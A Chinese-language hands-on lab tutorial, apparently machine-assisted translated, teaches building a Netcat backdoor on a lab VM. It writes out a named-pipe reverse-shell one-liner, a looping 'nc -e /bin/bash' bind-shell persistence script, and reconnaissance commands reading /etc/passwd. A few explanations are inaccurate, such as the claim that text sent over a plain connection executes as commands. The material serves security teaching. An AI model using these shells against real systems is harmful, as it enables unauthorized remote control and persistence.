使用 Netcat 构建后门

Beginner
立即练习

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

简介

在这个实验中,你将学习如何使用多功能网络工具 Netcat 创建一个基本的后门,以在系统之间建立远程连接。你将通过实践练习,学习设置监听器、发起连接以及执行远程命令。

该实验展示了网络安全中使用的基本网络通信技术,让你了解攻击能力和防御考量。你将在了解如何利用简单工具创建后门的同时,获得使用 Netcat 功能的实践经验。


Skills Graph

安装 Netcat

在这一步中,你将安装 Netcat(通常缩写为 'nc'),这是一个基本的网络工具,允许你对网络连接进行读写操作。可以把 Netcat 想象成用于网络故障排除和数据传输的“瑞士军刀”——在这个实验中,它将是我们在计算机之间创建连接的主要工具。

在安装任何软件之前,先检查该软件是否已经可用是个好习惯。许多 Linux 系统都预装了 Netcat。让我们在 LabEx 虚拟机环境中通过运行以下命令来验证这一点:

nc -h

这个命令要求 Netcat 显示其帮助信息。如果你看到出现了一系列命令选项,恭喜你——Netcat 已经安装在你的系统上了!如果你看到的是“command not found”错误,别担心——我们将逐步介绍安装过程。

安装过程包含三条简单的命令。首先,我们需要更新软件包列表,以确保获取到 Netcat 的最新版本:

sudo apt update

'sudo' 前缀赋予我们管理员权限,而 'apt update' 会刷新可用软件包的列表。完成这一步后,我们就可以进行实际的安装了:

sudo apt install -y netcat

'-y' 标志会自动确认我们要继续进行安装。安装完成后,我们应该通过检查其版本信息来验证 Netcat 是否安装正确:

nc -h

你现在应该会看到详细的输出,显示 Netcat 的命令选项和语法,类似于以下示例:

[v1.10-46]
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
	  [-m minttl] [-O length] [-P proxy_username] [-p source_port]
	  [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
	  [-X proxy_protocol] [-x proxy_address[:port]] [destination] [port]

这个输出确认了 Netcat 已正确安装,并可在我们实验的后续步骤中使用。随着我们完成各项练习,你会逐渐熟悉这些显示的各种选项。

在攻击机上启动监听器

在这一步中,你将配置攻击机(LabEx 虚拟机),使用 Netcat 等待传入的连接。可以把这想象成设置一部等待来电的电话——监听器会随时准备接收来自其他机器的连接。这是后续步骤中建立远程控制的基础。

  1. 首先,让我们切换到正确的工作目录。这样可以确保我们的所有文件都组织在一个地方:
cd ~/project
  1. 现在我们将启动 Netcat 监听器。我们使用端口 4444(你可以选择 1024 - 65535 之间的任何可用端口)。端口就像门牌号一样,它们有助于确定连接应该指向哪里:
nc -lvnp 4444

让我们来详细解释每个标志的作用:

  • -l:将 Netcat 设置为监听模式(就像接听电话一样)
  • -v:显示详细的连接信息(有助于故障排除)
  • -n:跳过 DNS 查找(使连接更快)
  • -p:指定要使用的端口号
  1. 成功启动后,你会看到监听器已激活的确认信息:
Listening on 0.0.0.0 4444

你的终端看起来会像是冻结了——这是正常现象,因为 Netcat 正在积极等待有人连接。不要关闭这个终端窗口;当我们从另一台机器建立连接时,很快就会用到它。

重要提示:在实际的安全测试或现实场景中,专业人员通常会在后台运行监听器,或者使用像 tmux 这样的工具来管理多个会话。在这个学习练习中,我们为了简单起见,在前台运行,这样你可以清楚地看到连接过程是如何工作的。

从受害机发起连接

在这一步中,你将模拟从受害机连接到 Netcat 监听器。由于我们是在单个 LabEx 虚拟机中操作,因此将通过打开第二个终端连接,使用同一台机器来模拟攻击者和受害者的角色。在安全测试中,为了演示目的,让一台机器同时充当连接的两端是一种常见做法。

  1. 首先,确保 Netcat 监听器仍在第一个终端中运行(参考步骤 2)。监听器必须处于活动状态才能接受传入的连接。如果没有运行,请使用相同的命令重新启动它:
nc -lvnp 4444
  1. 打开一个新的终端标签页/窗口(在终端中右键单击并选择“New Tab”,或者使用快捷键 Ctrl+Shift+T)。这个第二个终端将在我们的模拟中代表受害机。

  2. 在新终端中,使用本地主机(因为我们使用的是同一台机器)连接到监听器。IP 地址 127.0.0.1 始终指的是本地机器:

nc -nv 127.0.0.1 4444

连接命令中使用的标志解释:

  • -n:告诉 Netcat 不要解析主机名,这样可以加快连接速度
  • -v:提供详细输出,以便你可以查看连接细节
  1. 你应该在两个终端中都看到确认连接成功的消息:
  • 在监听器终端(显示传入的连接):
Connection received on 127.0.0.1 12345
  • 在受害机终端(确认连接到监听器):
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
  1. 现在你可以测试两个终端之间的基本通信:
  • 在受害机终端中输入一条简单的消息,然后按回车键
  • 该消息应该会立即出现在监听器终端中
  • 尝试从监听器向受害机回复一条消息,以验证双向通信
  1. 完成后,要退出任一连接:
  • 按 Ctrl+C 立即终止连接
  • 或者输入 exit 并按回车键,以更干净地断开连接

远程发送命令

在这一步中,你将学习如何通过已建立的 Netcat 连接远程执行命令。这展示了渗透测试中的一项基本技术,攻击者可借此控制受感染的系统。了解这一过程有助于安全专业人员防范此类攻击。

  1. 首先,确保你已按照前面的步骤打开了两个终端:

    • 终端 1:Netcat 监听器 (nc -lvnp 4444) —— 这是你的攻击机,正在等待连接。
    • 终端 2:受害机连接 (nc -nv 127.0.0.1 4444) —— 这模拟了一台受感染的机器向你回连。
  2. 在终端 1(监听器)中,发送一个基本命令来测试连接:

whoami
  1. 该命令会在受害机(终端 2)上执行,但你暂时看不到输出,因为我们还没有设置正确的输出重定向。这是使用基本 Netcat 连接时常见的初始挑战。

  2. 在终端 2 中,建立一个更高级的连接,创建一个带有输出重定向的完整命令 shell:

rm -f /tmp/f
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -nv 127.0.0.1 4444 > /tmp/f

这会创建一个命名管道 (/tmp/f),并设置一个完整的交互式 shell,将标准输出和错误消息都发送回攻击者。

  1. 现在在终端 1(监听器)中,你可以执行命令并正确看到它们的输出:
ls -la
pwd
uname -a
  1. 尝试一些基本的系统探索命令,以了解受害机的环境:
id
cat /etc/passwd | head -5
ps aux | head -5

这些命令分别显示用户信息、系统账户和正在运行的进程。

  1. 要创建一个能自动重新连接的持久后门,你可以在 ~/project 中创建一个简单的脚本:
echo 'while true; do nc -lvnp 4444 -e /bin/bash; done' > ~/project/backdoor.sh
chmod +x ~/project/backdoor.sh

这个脚本会持续尝试建立连接,并在执行时提供 shell 访问权限。

  1. 完成后,记得在两个终端中按 Ctrl+C 终止所有连接。这对于清理资源和正确结束实验非常重要。

测试后门功能

在这最后一步,我们将验证后门脚本是否按预期工作。此过程展示了攻击者如何长期维持对已攻陷系统的访问。我们将测试其即时功能和持久性(稍后重新连接的能力)。

在开始之前,让我们了解每个命令的作用。后门脚本会创建一个监听端口,等待传入连接。连接成功后,攻击者就能在受害机上远程执行命令。

  1. 首先,确认后门脚本存在于正确的位置。这一步检查我们是否在之前的步骤中正确创建了该文件:
ls -la ~/project/backdoor.sh
  1. 现在,我们将在后台运行后门脚本。& 符号可使其作为后台进程运行,这样我们就能继续使用这个终端:
cd ~/project
./backdoor.sh &
  1. 验证脚本是否实际正在运行。此命令会显示所有正在运行的进程,并筛选出我们的后门进程:
ps aux | grep backdoor.sh
  1. 打开一个新的终端窗口(终端 2)。在这里,我们将模拟攻击者连接到后门。-nv 标志会让 netcat 输出更详细的信息,以便我们查看连接细节:
nc -nv 127.0.0.1 4444
  1. 现在测试通过后门是否能正常执行命令。我们将创建一个测试文件,然后读取它,以确认我们拥有正确的访问权限:
echo "Backdoor test successful" > ~/project/test.txt
cat ~/project/test.txt
  1. 检查基本系统信息,以验证我们是否能完全执行命令。这些命令会显示当前用户和系统名称:
whoami
hostname
  1. 为了测试持久性,使用 Ctrl+C 断开连接,等待 30 秒,然后重新连接。这模拟了攻击者稍后再次访问:
nc -nv 127.0.0.1 4444
  1. 通过检查测试文件是否仍然存在,验证后门是否保持了访问权限:
cat ~/project/test.txt
  1. 最后,清理所有测试文件。这将停止后门进程并删除我们的测试文件:
pkill -f backdoor.sh
rm ~/project/test.txt ~/project/backdoor.sh

总结

在本次实验中,你学习了如何使用多功能网络工具 Netcat 创建后门连接。该练习涵盖了在 Linux 上安装 Netcat、使用特定标志(-lvnp)配置监听器,以及在机器之间建立隐蔽通信通道。

通过这次实践,你获得了关于 Netcat 创建远程访问后门功能的实用知识。本次实验还强调了在使用可能被用于未经授权访问的网络实用工具时的重要安全注意事项。